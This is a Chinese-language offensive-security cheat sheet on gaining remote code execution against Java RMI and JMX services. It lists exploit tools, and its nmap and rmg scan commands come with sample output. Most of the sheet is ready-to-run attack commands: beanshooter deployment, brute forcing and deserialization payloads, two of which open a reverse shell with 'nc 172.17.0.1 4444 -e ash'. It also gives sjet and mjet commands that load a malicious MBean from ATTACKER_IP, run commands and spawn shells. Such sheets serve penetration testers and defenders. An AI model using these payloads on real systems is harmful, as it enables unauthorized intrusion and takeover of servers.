Java RMI
Java RMI (Remote Method Invocation,远程方法调用) 是一个 Java API,它允许在一个 JVM (Java 虚拟机) 中运行的对象去调用在另一个 JVM(即使它们位于不同的物理机器上)中运行的对象上的方法。RMI 为基于 Java 的分布式计算提供了一种机制。
摘要 (Summary)
工具 (Tools)
- siberas/sjet - siberas JMX 利用工具包
- mogwailabs/mjet - MOGWAI LABS JMX 利用工具包
- qtc-de/remote-method-guesser - Java RMI 漏洞扫描器
- qtc-de/beanshooter - JMX 枚举和攻击工具。
检测 (Detection)
- 使用 nmap:
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
1089/tcp open java-rmi Java RMI
| rmi-vuln-classloader:
| VULNERABLE:
| RMI 注册表默认配置远程代码执行漏洞
| 状态: VULNERABLE
| RMI 注册表的默认配置允许从远程 URL 加载类,这可能导致远程代码执行。
| rmi-dumpregistry:
| jmxrmi
| javax.management.remote.rmi.RMIServerImpl_Stub
$ rmg scan 172.17.0.2 --ports 0-65535
[+] 正在扫描 172.17.0.2 的 6225 个端口以寻找 RMI 服务。
[+] [命中] 在 172.17.0.2:40393 发现 RMI 服务 (DGC)
[+] [命中] 在 172.17.0.2:1090 发现 RMI 服务 (注册表, DGC)
[+] [命中] 在 172.17.0.2:9010 发现 RMI 服务 (注册表, 激活器, DGC)
[+] [6234 / 6234] [#############################] 100%
[+] 端口扫描完成。
$ rmg enum 172.17.0.2 9010
[+] RMI 注册表绑定名称:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (未知类)
[+] 端点: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (未知类)
[+] 端点: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (未知类)
[+] 端点: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[...]
方法论 (Methodology)
如果 Java 远程方法调用 (RMI) 服务配置不当,它就会容易受到各种远程代码执行 (RCE) 方法的影响。一种方法涉及托管 MLet 文件并指示 JMX 服务从远程服务器加载 MBean,这可以使用 mjet 或 sjet 等工具实现。remote-method-guesser 是一个较新的工具,它将 RMI 服务枚举与已识别攻击策略的概览结合在一起。
使用 beanshooter 实现 RCE
- 列出可用属性:
beanshooter info 172.17.0.2 9010 - 显示属性的值:
beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose - 设置属性的值:
beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean - 暴力破解受密码保护的 JMX 服务:
beanshooter brute 172.17.0.2 1090 - 列出已注册的 MBean:
beanshooter list 172.17.0.2 9010 - 部署 MBean:
beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000 - 枚举 JMX 端点:
beanshooter enum 172.17.0.2 1090 - 在 JMX 端点上调用方法:
beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()' -
调用任意公开和静态 Java 方法:
-
标准 MBean 执行:
beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash' - 在 JMX 端点上进行反序列化攻击:
beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
使用 sjet 或 mjet 实现 RCE
要求
- Jython
- JMX 服务器可以连接到由攻击者控制的 http 服务
- 未启用 JMX 身份验证
远程代码执行 (Remote Command Execution)
攻击涉及以下步骤:
- 启动一个 Web 服务器,托管 MLet 和包含恶意 MBean 的 JAR 文件
- 使用 JMX 在目标服务器上创建一个 MBean
javax.management.loading.MLet实例 - 调用 MBean 实例的
getMBeansFromURL方法,并将 Web 服务器 URL 作为参数传递。JMX 服务将连接到 http 服务器并解析 MLet 文件。 - JMX 服务下载并加载 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 使用。
- 攻击者最终调用来自恶意 MBean 的方法。
使用 siberas/sjet 或 mogwailabs/mjet 利用 JMX
jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
jython sjet.py TARGET_IP TARGET_PORT super_secret shell
jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"
jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
jython mjet.py TARGET_IP TARGET_PORT command super_secret shell